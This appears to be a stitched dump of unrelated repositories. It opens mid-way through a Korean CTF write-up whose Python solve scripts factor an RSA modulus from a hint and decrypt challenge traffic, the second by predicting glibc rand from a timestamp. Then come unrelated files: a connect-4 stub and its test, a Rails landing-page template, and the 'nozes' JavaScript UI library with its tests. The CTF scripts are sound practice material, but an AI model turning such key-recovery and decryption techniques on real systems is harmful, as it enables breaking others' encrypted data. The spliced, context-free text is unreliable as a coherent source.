d를 e로 교체하게 되면, 암호화를 진행하는데 도움을 주겠다는 것이 된다.
n은 공통이었고 페르마 정리에서 M과 C의 위치가 바뀌었고 의도에 따라 e 혹은 d값을 썼다.
지금은 d에서 역연산을 취해줘야하기 때문에 리버싱 관점으로 생각해본다면 e*d 하면 1이 되면서 무용지물 되어버린다.
직접 써가면서 연산을 수행해보았다. 어우 수학공식을 몇년만에 작성해서 어질어질했다.


이렇게 하면 p값을 구할 수 있게 된다.
이제 원리를 알았으니 코드로 구현해보자.
- Exploit Code
```python
from Crypto.Util.number import *
# Author already offered these datas
n = 0xced9347557a5d6f88e3a506517ad051aff9c1a2ee8a1ac27f3dd74c58ac1c5bc2e2ba7ae2aba617497c5204d3933d9a941cf9af61d8308d760cad984567fa725f35510f6944dce3306687b49138c1eda555cd1f1a0c5fbf10b47ca0aa2afca13083a02f59281a2087d8b277fa43ad187dbc84d37f276c997b9ed456c1601256d
e = 0x10001
c = 0xd5d4bc7f461ab02dddb1c3d911bfeee35837a787b02f09d45f5c29e122d784bf5ee97e1ace3a320130fb8747c40292a8503613b674280ab7b64163e9a2ab8a39dfba55d2032d67f1d3fe6389881f8c4145c5b7eb8d83caaa6ebebad021f668a83434d7d48a249f5e8e23828b1aa9402c8b88eab9c48e035a9997bdcc4b48479
hint = 0x7acdc2f1c0acd1fb471f7804a984b962206babbbc8aba1c6a06757b1a10ba3941e5d9d5a1f19b8d9ed9facb48f8f0beda5366ed62c77303a5749e96f1cb820fd0d4d4e7ac1fc15207ae36f9a5aa0fdd9240605277d5ba51dee5075186fbea7340a5b2d09d82e025485ecedd7c505265e81c57db7ce72e722c0179f71669413c54fced2b3663b2171e38554d00e876c67b5d221bea6b1c7345fe1ae024ffdd72afd12f79522ac96932f6505d9ce8e7abad89182bcb7911b6a1dc7054c7a42b304
# goal to find p
p = 0
a = 0
tmp = pow(2,e,n) # 2 ^ e mod n
a = pow(tmp,hint,n) # (2^e mod n) ^ hint mod n
print(f'a = {hex(a)}')
# 4^hint % n
# = 4 ^ (p-1) mod n
# = (4 ^ p) * (4 ^ -1336) mod n
# 'mod n' should be staying same position everyday
chk = pow(4,1336,n) # switch 2 and e position
a = a*chk % n
p = GCD(a-1,n)
print(f'p = {hex(a)}')
# q = n / p # this signal will be return float data
# The RSA need to set INTEGER!
q = n // p
print(f'q = {hex(q)}') # Type Error : 'float' object cannot be interpreted as an integer
if n == p*q:
print("great")
# The encrypt logic is below
# C = M ^ e mod n
# e is public
# The decrypt logic is below
# M = C ^ d mod n
# d is private
# Let's find d
# if (e*d) mod (p-1)(q-1) is 1 is correct
# the (p-1)(q-1) is phi
phi = (p-1)*(q-1)
# If wants to get d
# just inverse!
d = inverse(e,phi)
M = pow(c,d,n)
print(type(M))
#print(bytes_to_long(M)) # object of type 'int' has no len() => because typo..
print(long_to_bytes(M))
```
ref. [https://www.youtube.com/watch?v=kGUlfVpIfaQ](https://www.youtube.com/watch?v=kGUlfVpIfaQ)
ref. [https://www.youtube.com/watch?v=uhXOkoXtULI](https://www.youtube.com/watch?v=uhXOkoXtULI)
<file_sep>/SSTF/Rev/secure-enough/secure_enough_exploit.py
from ctypes import c_int, c_uint
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import hashlib # md5
import struct
import binascii
from Crypto.Util.py3compat import b
timestamp = 1624347317
# ref
# https://gist.github.com/integeruser/4cca768836c68751904fe215c94e914c
def srand(seed):
srand.r = [0 for _ in range(34)]
srand.r[0] = c_int(seed).value
for i in range(1, 31):
srand.r[i] = (16807 * srand.r[i - 1]) % 2147483647
for i in range(31, 34):
srand.r[i] = srand.r[i - 31]
srand.k = 0
for _ in range(34, 344):
rand()
def rand():
srand.r[srand.k] = srand.r[(srand.k - 31) % 34] + srand.r[(srand.k - 3) % 34]
r = c_uint(srand.r[srand.k]).value >> 1
srand.k = (srand.k + 1) % 34
return r
srand(timestamp)
tmp1 = hashlib.md5(struct.pack('<I', rand())).digest()
tmp2 = hashlib.md5(struct.pack('<I', rand())).digest()
generate = tmp1+tmp2
md51 = generate
print(type(generate))
# b'\xa3\xe6\xf4\x84\xd7\x86Z\xb1\x05n\x15\x83<t\x8b\xed\xb6\x89\xc0a?\xa1\x14j5\xf1)yzw\x05\x14'
# PoC (via packet 04)
test = "01a3e6f484d7865ab1056e15833c748bedb689c0613fa1146a35f129797a7705142e9041559d7b0efb5cca1ec10310091de88fe3d3b85df5862be216ae07c13a25b3554692c441e9a3574275a6b3f3cb7f70e4c4967e7f893fdff2d8279f70d53a9265aea14c86b560e97e813cec1d03ef819d276d0e7e1c0809dabb367dc85c387a2ebc79e2740a89f1b119c7ee978d436b6389cc2be163670f4fb82dd96801cf5d9626f8b903c039b06e7d0d8cfeceb2c21ec6054843628499bd12a741d2d35bdd4361f07148cae759833a4a1ea15d6874c21cafa4934eab3debff36252149a11407bf4196cf18242937757ae408856f1e654a25d9d75849df2b664c6886ee97d5a940d73faf9625b709beda7c1d0f171ca061fe3bf0e6232592d817f9a4a6a60000"
md5_test = binascii.unhexlify(test[2:2 + len(generate*2)])
md52 = md5_test
if md5_test == generate:
print("Great")
else:
exit(0)
# RSA decrypt
# c^d mod n (fermat's little theorom)
# pow(c,d,n)
#c = "020f4b82b9d771a2625de1339269ead8599308a5119f3c8a3eb2e266f04210c2ac7e5657072ecd5fb777a99a8d57d94e39fa7001dd926ac42e4e9c944cd086868605d59db718caf0738f9983575119e4ae63f84c7a274eba7b39b9dc19a749a9bca7bead0aa75ea8f2c34a48dda8a4812e933249e945f66858785947d95168154b18e44f0ffa4f3c0a336ee2fc72f6b0aa1deeba5cd4646e68ae591923dc2894597862a753c3f86409cc19b8b5070de08fdab340618e6fb9370d95bf07670d76cdf320d5bd3bf10c26ec89f47956a4e6f850f751d7480c82cb25f7a48ba167d207d7a3836c7dee679a7ac1e004e0399598994e7542d63e65eb24b41158c66728720000"
#The reason packet 4 [0:2] is dummy
# last \x00 is need to remove !
c = 0x0f4b82b9d771a2625de1339269ead8599308a5119f3c8a3eb2e266f04210c2ac7e5657072ecd5fb777a99a8d57d94e39fa7001dd926ac42e4e9c944cd086868605d59db718caf0738f9983575119e4ae63f84c7a274eba7b39b9dc19a749a9bca7bead0aa75ea8f2c34a48dda8a4812e933249e945f66858785947d95168154b18e44f0ffa4f3c0a336ee2fc72f6b0aa1deeba5cd4646e68ae591923dc2894597862a753c3f86409cc19b8b5070de08fdab340618e6fb9370d95bf07670d76cdf320d5bd3bf10c26ec89f47956a4e6f850f751d7480c82cb25f7a48ba167d207d7a3836c7dee679a7ac1e004e0399598994e7542d63e65eb24b41158c6672872
# d is private key.
# but, I have public key
# so L
pubKey = RSA.importKey(open('sstf.pub','r').read())
e = pubKey.e
n = hex(pubKey.n)
print(f'e is {e}')
print(f'n is {n}')
m = pow(c,e,int(n,16))
print(type(m))
print(hex(m)) # RSA_encryption_option(&tmp2,32,&v4)
print(len(hex(m)))
md53 = binascii.unhexlify(hex(m)[-64:])
print(md53)
h = hashlib.md5()
h.update(b'A')
h.update(md51)
h.update(md52)
h.update(md53)
key = h.digest()
h = hashlib.md5()
h.update(b'BB')
h.update(md51)
h.update(md52)
h.update(md53)
key += h.digest()
h = hashlib.md5()
h.update(b'CCC')
h.update(md51)
h.update(md52)
h.update(md53)
iv = h.digest()
print(f'key is {key}')
print(f'iv is {iv}')
# packet 8
# data + padding(\x00)
# no need on exploit
# packet 10
# 64 bytes so need padding
'''
*((_BYTE *)&a3 + (signed int)AES256_Decrypt((__int64)&buf, 64u, (__int64)&a3)) = 0;
'''
enc = 'dc014f2266d9368dbd6fb5d3fa1d675cc2172ae703872afbadc94<KEY>000000000000000000000000000000'
aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(binascii.unhexlify(enc)))
|
9dd519bacb5cd049a62ee9ad966cce629ff2cbf2
|
[
"Markdown",
"Python"
] | 14 |
Markdown
|
Demon-KR/Demon-CTF-Writeup
|
66906e1d46d0d61649acfca83419d2a98a096932
|
947659c3e5283099a2adabae2097c4ba1d834989
|
refs/heads/master
|
<file_sep>var Game = {
init: function() {
this.board = [0,0,0,0,0,0,0];
},
getBoard: function() {
return this.board.length;
}
};
Game.setBoard = function(board) {
this.init(board);
};
<file_sep>describe("Game", function() {
it("should be initialized with a 6x7 board", function() {
var game = Object.create(Game);
game.setBoard([0,0,0,0,0,0,0],0,0,0,0,0);
expect(game.board.length).toEqual(7);
});
});
|
e0dc8d59816dd2a249c09674ff0d044557192b19
|
[
"JavaScript"
] | 2 |
JavaScript
|
JojSh/connect-4
|
ea2dd50f18d49c7c725ee9cbc372a643052c6226
|
1af36852d09cb6af45fa8de40496be52365f85cc
|
refs/heads/master
|
<file_sep><!DOCTYPE html>
<html lang="en">
<head>
<title>GroundZero</title>
<%= stylesheet_link_tag "application", :media => "all" %>
<%= javascript_include_tag "application" %>
<%= csrf_meta_tags %>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="gz-labs.com">
<link href="http://fonts.googleapis.com/css?family=Open+Sans:400,300,700,600" rel="stylesheet">
<link href="http://fonts.googleapis.com/css?family=Open+Sans+Condensed:700,300" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Delius+Swash+Caps" rel="stylesheet" type="text/css">
<!-- HTML5 shim, for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<nav class="navbar">
<div class="navbar-inner">
<div class="container">
<a href="/" class="brand"><%= image_tag "brand.png" %></a>
<ul class="nav">
<li class="active"><a href="#">Home</a></li>
<li><a href="#">Blog</a></li>
<li><a href="#">Producto Corp</a></li>
</ul>
</div>
</div>
</nav>
<div class="row">
<div class="feature span12">
<div id="main_title">
<span class="motto"> <gz> </span>
<strong> GroundZero-Labs </strong>
<span class="motto"></gz></span>
</div>
<h3 class="subheader_title">$("gz").ready().set().code();</h3>
<%= image_tag "bootstrap/feature.png", id: "feature-screenshot", alt: "screenshot" %>
</div>
</div>
<div class="row">
<div class="span12 graded center">
<p>You'll be amazed by Producto. Never has performant node.js NoSQL CoffeeScript LLVM compiling been so easy.</p>
</div>
</div>
</div>
<div class="container">
<h2><strong>Features</strong> you'll really dig.</h2>
<h3 class="subheader">We've covered all bases.</h3>
<div class="row">
<div class="span12">
<ul class="thumbnails">
<li class="span3">
<div class="thumbnail">
<span>Simple User Management</span>
<%= image_tag "bootstrap/placeholder_260.png", size: "260x180" %>
</div>
</li>
<li class="span3">
<div class="thumbnail">
<span>Robust Toolchain</span>
<%= image_tag "bootstrap/placeholder_260.png", size: "260x180" %>
</a>
</li>
<li class="span3">
<div class="thumbnail">
<span>iOS Integration</span>
<%= image_tag "bootstrap/placeholder_260.png", size: "260x180" %>
</div>
</li>
<li class="span3">
<div class="thumbnail">
<span>Next-Gen Core</span>
<%= image_tag "bootstrap/placeholder_260.png", size: "260x180" %>
</div>
</li>
</ul>
</div>
</div>
<div class="row">
<div class="span12 box drop-shadow">
<div class="row">
<article class="span6 offset1">
<h3>HTML5 goodness, open fonts.</h3>
<p>Kickstarter user engagement A/B testing shrink a market venture capital pitch deck. Social bookmarking group buying crowded market
pivot onboarding freemium prototype ping pong.
Early stage disruptive ecosystem community outreach dynamic location based strategic investor.
</p>
</article>
<div class="span4">
<%= image_tag "bootstrap/placeholder_200.png", alt: "placeholder" %>
</div>
</div>
<div class="row">
<div class="span4 offset1">
<%= image_tag "bootstrap/placeholder_200.png", alt: "placeholder" %>
</div>
<article class="span6">
<h3>Fully responsive design.</h3>
<p>Accelerator photo sharing business school drop out ramen hustle crush it revenue traction platforms.
Coworking viral landing page user base minimum viable product hackathon API mashup FB Connect.</p>
</article>
</div>
<div class="row">
<article class="span6 offset1">
<h3>Use this as a base.</h3>
<p>Tablet publishing HTML5 mobile first really simple syndication meetups white board walls.
User experience iterate algorithm gamification semantic web value add market research stealth.
Rockstar developer internet of things bleeding edge browser extension social capital.
</p>
</article>
<div class="span4">
<%= image_tag "bootstrap/placeholder_200.png", alt: "placeholder" %>
</div>
</div>
</div>
</div>
</div>
<div class="container">
<h2>Optional <strong>pricing</strong> table.</h2>
<div class="row pricing">
<div class="span3">
<div class="well">
<h3>Basic</h3>
<ul>
<li>1 user</li>
<li>1 project</li>
<li>1GB storage</li>
</ul>
<h4>$24/month</h4>
</div>
</div>
<div class="span3">
<div class="spot">Best<br/>value!</div>
<div class="well highlighted">
<h3>Plus</h3>
<ul>
<li>5 users</li>
<li>5 projects</li>
<li>5GB storage</li>
</ul>
<h4>$36/month</h4>
</div>
</div>
<div class="span3">
<div class="well">
<h3>Pro</h3>
<ul>
<li>10 users</li>
<li>20 projects</li>
<li>15GB storage</li>
</ul>
<h4>$50/month</h4>
</div>
</div>
<div class="span3">
<div class="well">
<h3>Premium</h3>
<ul>
<li>Unlimited users</li>
<li>Unlimited projects</li>
<li>50GB storage</li>
</ul>
<h4>$80/month</h4>
</div>
</div>
</div>
<div class="row">
<div class="span12 center graded">
<a href="#" class="signup">Sign up now</a>
</div>
</div>
</div>
<div class="container">
<h2>Final pitch.</h2>
<div class="row">
<div class="span12 box">
<article class="span10 offset1">
<p>Sandboxing UDID content management system ruby on rails continuous deployment big data infographic.
Initial public offering financial model push notification mechanical turk bookmarklet.
Term sheet convertible note colluding bootstrapping.
Cloud computing subscription model out of the box proactive solution. </p>
<p>And if you're not satisfied, you can cancel for free at any time within your 30-day trial.</p>
</article>
</div>
</div>
</div>
<div class="container">
<h3 class="subheader">Keep in touch.</h3>
<div class="row">
<div class="span8">
<h4>About us</h4>
<p>Producto Corp was founded in 2012 by <NAME> and <NAME> to take advantage of the latest technologies in order to aid viral B2B synergy.</p>
<p></p>
</div>
<div class="span4">
<form class="form-horizontal">
<h4>Sign up to the newsletter</h4>
<div class="input-prepend">
<span class="add-on"><i class="icon-envelope"></i></span><input type="text" id="inputIcon" class="span2" placeholder="Email address">
</div>
<button class="btn">Sign up</button>
</form>
</div>
</div>
<div class="row footer">
<div class="span12">
<ul class="links">
<li><a href="#"><%= image_tag "bootstrap/twitter.png", alt: "twitter" %></a></li>
<li><a href="#"><%= image_tag "bootstrap/facebook.png", alt: "fb" %></a></li>
<li><a href="#">Support</a></li>
<li><a href="#">Privacy Policy</a></li>
<li><a href="#">Jobs</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
</div>
</div>
<%= yield %>
</body>
</html>
<file_sep>GroundZero
==========
GroundZeroLabs Company Site<file_sep>defaults: &defaults
adapter: postgresql
username: postgres
password:
reconnect: true
pool: 5
wait_timeout: 5
development:
database: groundzero_development
host: localhost
<<: *defaults
test:
database: groundzero_test
host: localhost
<<: *defaults
production:
database: groundzero_production
host: localhost
<<: *defaults
|
abbc7109e47438e6ee0d9786206e8ebce1fa501d
|
[
"HTML+ERB",
"Markdown",
"YAML"
] | 3 |
HTML+ERB
|
mluong517/GroundZero
|
5817e896939b3a013b673df0f758f05727a08e85
|
c69b1f1bb67e10af27185e93cf7223080a3952d8
|
refs/heads/master
|
<repo_name>henriquegogo/nozes<file_sep>/nozes.ts
((global: any) => {
type Listener = {
event: string,
action: Function,
group: string
};
global.Nozes = function(): any {
const store: Record<string, unknown> = {},
listeners: Listener[] = [],
styles: Record<string, unknown> = {};
const htmlTags: string[] = ('a abbr address area article aside audio b base bdi bdo '
+ 'blockquote body br button canvas caption cite code col colgroup data '
+ 'datalist dd del details dfn dialog div dl dt em embed fieldset '
+ 'figcaption figure footer form h1 h2 h3 h4 h5 h6 head header hgroup hr '
+ 'html i iframe img input ins kbd label legend li link main map mark '
+ 'math menu meta meter nav noscript object ol optgroup option output p '
+ 'param picture pre progress q rp rt ruby s samp script section select '
+ 'slot small source span strong style sub summary sup svg table tbody '
+ 'td template textarea tfoot th thead time title tr track u ul var '
+ 'video wbr').split(' ');
htmlTags.forEach((tag: string) => {
createElement[tag] = createElement.bind(undefined, tag);
});
function createElement(func: Function, ...argsList: any[]): HTMLElement;
function createElement(prop: string, ...argsList: any[]): HTMLElement;
function createElement(prop: any, ...argsList: any[]): HTMLElement {
const element = document.createElement(prop);
function appendArgs(arg: Function | HTMLElement | string | any[] | any) {
if (!arg) {
return;
}
if (arg.constructor === Object) {
Object.assign(element, arg);
if (arg.style && arg.style.constructor === Object) {
Object.assign(element.style, arg.style)
}
} else if (arg.constructor === Function) {
arg(element);
} else if (arg.constructor === Array) {
arg.forEach(appendArgs);
} else if (arg.constructor === String || arg.constructor === Number) {
const textNode = document.createTextNode(arg as string);
element.appendChild(textNode);
} else if (arg.constructor.name.includes('Element')) {
element.appendChild(arg);
}
}
argsList.forEach(appendArgs);
return element;
}
function styleClass(def: string): unknown {
const name = 's' + Math.random().toString(36).substr(2);
const nestedDef = def
.replace(/[&@]/, '} $&')
.replace(/&/g, '.' + name)
.replace(/}\s*$/, '');
if (!styles[def]) {
const styleString = '.' + (styles[def]=name) + ' {' + nestedDef + '}';
const styleElement = createElement('style', styleString);
document.head.appendChild(styleElement);
}
return styles[def];
}
function watch(event: string, func: Function, group: string): void {
const foundEvent = listeners.find(listener => group !== undefined
&& listener.group === group && listener.event === event);
if (foundEvent) {
Object.assign(foundEvent, { action: func });
} else {
listeners.push({ event: event, action: func, group: group });
}
}
function dispatch(event: string, msg: any, persist: boolean): void;
function dispatch(event: Function, msg: any, persist: boolean): void;
function dispatch(event: any, msg: any, persist: boolean = true): void {
if (event.constructor === String && persist !== false) {
if (msg !== undefined && msg.constructor === Object) {
msg = Object.assign({}, store[event as string], msg);
}
store[event as string] = msg;
}
listeners.forEach((listener: Listener) => {
if (!listener.event
|| listener.event === event
|| listener.event === event.name) {
setTimeout(function() { listener.action(msg) });
}
});
}
function connect(events: string, func: Function): Function;
function connect(events: Function, func: undefined): Function;
function connect(events: any | any[], func: Function | undefined): Function {
if (events.constructor === Function) {
func = events;
events = func.name ? new Array(func.name) : new Array();
} else if (!Array.isArray(events)) {
events = func.name ? new Array(events, func.name) : new Array(events);
} else if (func.name) {
events = events.concat(func.name);
}
return (props: Record<string, unknown>) => {
let element = document.createDocumentFragment() as Node;
events.forEach((event: any) => {
if (event.name) {
event = event.name;
}
watch(event, (newProps: Record<string, unknown>) => {
if (event !== func.name) {
newProps = {};
}
props = Object.assign({}, props, store, newProps);
const updated = func.call(element, props);
if (element != null
&& element.parentNode
&& updated instanceof Node
&& !element.isEqualNode(updated)) {
element.parentNode.replaceChild(updated, element);
element = updated;
}
}, func.name);
});
props = Object.assign({}, props, store);
element = func.call(window, props);
return createElement((func.name || 'connected') + '-component', element);
}
}
function router(routes: Record<string, HTMLElement>[], func: Function = function() {}): Function {
function hashchange() {
func && func(window.location.hash);
const path = window.location.hash.substr(1).split('/').filter(encodeURI);
for (const routePath of Object.keys(routes)) {
const route = routePath.split('/').filter(encodeURI);
const matchRoutePath = route.every(function(item, i) {
return path[i] == item || item[0] == '{';
});
if (path.length == route.length && matchRoutePath) {
const params = path.filter(function(_, i) { return route[i][0] == '{' });
return routes[routePath].apply(undefined, params);
};
}
return routes['index'] && routes['index'].apply(undefined);
}
window.onhashchange = dispatch.bind(undefined, hashchange);
return connect(hashchange, undefined)();
}
return {
createElement: createElement,
styleClass: styleClass,
watch: watch,
dispatch: dispatch,
connect: connect,
router: router
};
}
})(typeof module !== 'undefined' ? module.exports : window);
<file_sep>/examples/todo/Tasks.js
import { createElement, watch, dispatch, connect } from '../../nozes.mjs';
import Footer from './Footer.js';
const { div, ul, li, a } = createElement;
function Tasks({ tasklist = [] }) {
function add(item) {
Array.isArray(item) ? tasklist = tasklist.concat(item) : tasklist.push(item);
dispatch('tasklist', tasklist);
}
function remove(i) {
tasklist.splice(i, 1);
dispatch('tasklist', tasklist);
}
!this.isConnected && watch('add', add);
return div(
ul(
...tasklist.map((text, i) =>
li(
text,
a({ style: 'float: right', onclick: () => remove(i) }, 'X')
)
)
),
Footer()
);
}
export default connect('tasklist', Tasks);
<file_sep>/nozes.js
(function(global) {
global.Nozes = function() {
var store = {},
listeners = [],
styles = {};
var htmlTags = ('a abbr address area article aside audio b base bdi bdo '
+ 'blockquote body br button canvas caption cite code col colgroup data '
+ 'datalist dd del details dfn dialog div dl dt em embed fieldset '
+ 'figcaption figure footer form h1 h2 h3 h4 h5 h6 head header hgroup hr '
+ 'html i iframe img input ins kbd label legend li link main map mark '
+ 'math menu meta meter nav noscript object ol optgroup option output p '
+ 'param picture pre progress q rp rt ruby s samp script section select '
+ 'slot small source span strong style sub summary sup svg table tbody '
+ 'td template textarea tfoot th thead time title tr track u ul var '
+ 'video wbr').split(' ');
htmlTags.forEach(function(tag) {
createElement[tag] = createElement.bind(undefined, tag);
});
function createElement(prop) {
var argsList = [].slice.call(arguments).slice(1);
if (prop.constructor === Function) {
return prop.apply(undefined, argsList);
}
var element = document.createElement(prop);
function appendArgs(arg) {
if (!arg) { return }
if (arg.constructor === Object) {
Object.assign(element, arg);
if (arg.style && arg.style.constructor === Object) {
Object.assign(element.style, arg.style);
}
} else if (arg.constructor === Function) {
arg(element);
} else if (arg.constructor === Array) {
arg.forEach(appendArgs);
} else if (arg.constructor === String || arg.constructor === Number) {
var textNode = document.createTextNode(arg);
element.appendChild(textNode);
} else if (arg.constructor.name.includes('Element')) {
element.appendChild(arg);
}
}
argsList.forEach(appendArgs);
return element;
}
function styleClass(def) {
var name = 's' + Math.random().toString(36).substr(2);
var nestedDef = def
.replace(/[&@]/, '} $&')
.replace(/&/g, '.' + name)
.replace(/}\s*$/, '');
if (!styles[def]) {
var styleString = '.' + (styles[def] = name) + ' {' + nestedDef + '}';
var styleElement = createElement('style', styleString);
document.head.appendChild(styleElement);
}
return styles[def];
}
function watch(event, func, group) {
var foundEvent = listeners.find(function(listener) {
return group !== undefined
&& listener.group === group
&& listener.event === event;
});
if (foundEvent) {
Object.assign(foundEvent, { action: func });
} else {
listeners.push({ event: event, action: func, group: group });
}
}
function dispatch(event, msg, persist) {
if (event.constructor === String && persist !== false) {
if (msg !== undefined && msg.constructor === Object) {
msg = Object.assign({}, store[event], msg);
}
store[event] = msg;
}
listeners.forEach(function(listener) {
if (!listener.event
|| listener.event === event
|| listener.event === event.name) {
setTimeout(function() { listener.action(msg) });
}
});
}
function connect(events, func) {
if (events.constructor === Function) {
func = events;
events = func.name ? new Array(func.name) : new Array();
} else if (!Array.isArray(events)) {
events = func.name ? new Array(events, func.name) : new Array(events);
} else if (func.name) {
events = events.concat(func.name);
}
return function(props) {
var element = document.createDocumentFragment();
events.forEach(function(event) {
if (event.name) {
event = event.name;
}
watch(event, function(newProps) {
if (event !== func.name) {
newProps = {};
}
props = Object.assign({}, props, store, newProps);
var updated = func.call(element, props);
if (element != null
&& element.parentNode
&& updated instanceof Node
&& !element.isEqualNode(updated)) {
element.parentNode.replaceChild(updated, element);
element = updated;
}
}, func.name);
});
props = Object.assign({}, props, store);
element = func.call(window, props);
return createElement((func.name || 'connected') + '-component', element);
}
}
function router(routes, func) {
function hashchange() {
func && func(window.location.hash);
var path = window.location.hash.substr(1).split('/').filter(encodeURI);
for (var routePath of Object.keys(routes)) {
var route = routePath.split('/').filter(encodeURI);
var matchRoutePath = route.every(function(item, i) {
return path[i] == item || item[0] == '{';
});
if (path.length == route.length && matchRoutePath) {
var params = path.filter(function(_, i) { return route[i][0] == '{' });
return routes[routePath].apply(undefined, params);
}
}
return routes['index'] && routes['index'].apply(undefined);
}
window.onhashchange = dispatch.bind(undefined, hashchange);
return connect(hashchange)();
}
return {
createElement: createElement,
styleClass: styleClass,
watch: watch,
dispatch: dispatch,
connect: connect,
router: router
};
};
})(typeof module !== 'undefined' ? module.exports : window);
<file_sep>/examples/readme/Notifier.js
// Notifier.js
import { createElement, dispatch } from '../../nozes.mjs';
const { button } = createElement;
function Notifier() {
const handleClick = () => {
dispatch('message', 'you are notified');
}
return button({ onclick: handleClick }, 'Notify message');
}
export default Notifier;
<file_sep>/examples/jsx/src/App.js
import { createElement, watch } from '../../../index.js';
import Message from './Message.js';
const { h2 } = createElement;
function App() {
watch('log', console.log);
return (
<div>
<h1>Hello, world</h1>
{h2('You can use declarative elements mixed')}
<Message>Lorem ipsum sicut dixit</Message>
</div>
);
}
document.body.appendChild(App());
<file_sep>/nozes.mjs
import './nozes.js';
const { createElement, styleClass, watch, dispatch, connect, router } = new window.Nozes();
export { createElement, styleClass, watch, dispatch, connect, router }
<file_sep>/examples/jsx/src/Message.js
import { createElement, dispatch } from '../../../index.js';
function Message(props, msg) {
return <button onclick={() => dispatch('log', 'hello')}>{msg}</button>;
}
export default Message;
<file_sep>/examples/todo/App.js
import { createElement, watch, dispatch } from '../../nozes.mjs';
import InputForm from './InputForm.js';
import Tasks from './Tasks.js';
const { div, h1 } = createElement;
function App() {
watch('tasklist', console.log);
watch('', () => console.log('Something dispatched'));
return div(
h1('Todo List'),
InputForm(),
Tasks()
);
}
document.body.appendChild(App());
<file_sep>/test.js
((init, describe, test, assert, done) => {
const { document } = init();
const Nozes = require('./nozes.js').Nozes;
const { createElement, styleClass, watch, dispatch, connect, router } = new Nozes();
describe('Create element', () => {
test('has a generic constructor for any HTML tag', () => {
const divElement = createElement('div');
return assert(divElement);
});
test('has a constructor for each HTML tag', () => {
const divElement = createElement.div();
const spanElement = createElement.span();
return assert(divElement && spanElement);
});
test('the return of any constructor is an HTMLElement', () => {
const divElement = createElement('div');
const brElement = createElement('br');
const spanElement = createElement.span();
return assert(divElement.tagName === 'DIV' && brElement.tagName === 'BR' && spanElement.tagName === 'SPAN');
});
test('if a parameter is an object, their attributes will be assigned to that element', () => {
const divElement = createElement.div({ title: 'Title' });
return assert(divElement.title === 'Title');
});
test('if a parameter is another HTML element, this will be appended as child of that', () => {
const spanElement = createElement.span();
const divElement = createElement.div(spanElement);
return assert(divElement.children[0] === spanElement);
});
test('if a parameter is a string or a number, a TextNode will be created with the value and appended as child of the element', () => {
const divElement = createElement.div('Body');
const spanElement = createElement.span(1);
return assert(divElement.innerHTML === 'Body', spanElement.innerHTML === 1);
});
test('if a parameter is a function, it\'ll be called with the element as first parameter', () => {
let ref;
const divElement = createElement.div(function(me) { ref = me });
return assert(divElement === ref);
});
test('if a parameter is an array, each item will be evaluated like other parameters', () => {
const spanElement = createElement.span();
const divElement = createElement.div([spanElement, { title: 'Title' }]);
return assert(divElement.title === 'Title' && divElement.children[0] === spanElement);
});
test('a style parameter can be set as string or object', () => {
const redElement = createElement.div({ style: 'color: red' });
const blueElement = createElement.div({ style: { color: 'blue'} });
return assert(redElement.style === 'color: red' && blueElement.style.color === 'blue');
});
});
describe('Style class generator', () => {
test('returns a class name', () => {
const className = styleClass('');
return assert(typeof className === 'string' && Number.isNaN(parseInt(className[0])));
});
test('generates a style tag in document head', () => {
const def = 'display: block';
const className = styleClass(def);
const style = document.head.children.find(i => i.innerHTML.includes(className));
return assert(style.tagName === 'STYLE' && style.innerHTML === '.' + className + ' {display: block}');
});
test('accept nested definitions', () => {
var className = styleClass(`
cursor: pointer;
&:hover { background: gray }
& img.helper { display: inline-block }
`);
const style = document.head.children.find(i => i.innerHTML.includes(className));
return assert(style.innerHTML.includes('.' + className + ':hover') && style.innerHTML.includes('.' + className + ' img.helper'));
});
});
describe('Watch and Dispatch', () => {
test('watch creates an event listener that call a function if dispatched', () => {
let expected = 'old value';
watch('test', value => expected = value);
dispatch('test', 'new value');
return assert(expected === 'new value');
});
test('everytime the watch function is invoked, a listener is created', () => {
let old1 = 'old value 1';
let old2 = 'old value 2';
let old3 = 'old value 3';
watch('test', value => old1 = value);
watch('test', value => old2 = value);
watch('diff', value => old3 = value);
dispatch('test', 'new value');
return assert(old1 === 'new value' && old2 === 'new value' && old3 === 'old value 3');
});
test('watch an event that already belongs to a group will replace him', () => {
let old1 = 'old value 1';
let old2 = 'old value 2';
watch('test', value => old1 = value, 'group');
watch('test', value => old2 = value, 'group');
dispatch('test', 'new value');
return assert(old1 === 'old value 1' && old2 === 'new value');
});
test('blank string event will be dispatched everytime', () => {
let messages = [];
watch('', msg => messages.push(msg));
dispatch('test 1', 'some message');
dispatch('test 2', 'another message');
dispatch('test 3', 'last message');
return assert(messages.length === 3);
});
});
describe('Connect', () => {
test('watch the function and send first prop as parameter if dispatched', () => {
const { div } = createElement;
let msg = null;
function TestComponent({ message }) {
msg = message;
return div();
}
connect(TestComponent)();
dispatch(TestComponent, { message: 'New message' });
return assert(msg === 'New message');
});
test('connected functions receive dispatched messages merged by new props', () => {
const { div } = createElement;
let receivedProps = null;
dispatch('foo', 'bar');
function TestComponent(props) {
receivedProps = props;
return div();
}
connect(TestComponent)();
dispatch(TestComponent, { message: 'New message' });
return assert(receivedProps.foo && receivedProps.message);
});
test('dom element will be replaced everytime function is dispatched', () => {
const { div, span } = createElement;
function TestComponent({ showSpan }) {
return showSpan ? span() : div();
}
const connectedElement = connect(TestComponent)();
const initialElementTagName = connectedElement.children[0].tagName;
dispatch(TestComponent, { showSpan: true });
const updatedElementTagName = connectedElement.children[0].tagName;
return assert(initialElementTagName === 'DIV' && updatedElementTagName === 'SPAN');
});
test('update if a listener string event is dispatched', () => {
const { div } = createElement;
let receivedProps = null;
function TestComponent(props) {
receivedProps = props;
return div();
}
connect('eventstring', TestComponent)();
dispatch('eventstring', 'Event dispatched');
return assert(receivedProps.eventstring === 'Event dispatched');
});
test('listen multiple events', () => {
const { div } = createElement;
let p = null;
function TestComponent(props) {
p = props;
return div();
}
connect(['event1', 'event2'], TestComponent)();
dispatch('event1', '1 OK');
dispatch('event2', '2 OK');
dispatch(TestComponent, { msg: 'OK' });
return assert(p.event1 === '1 OK' && p.event2 === '2 OK' && p.msg === 'OK');
});
});
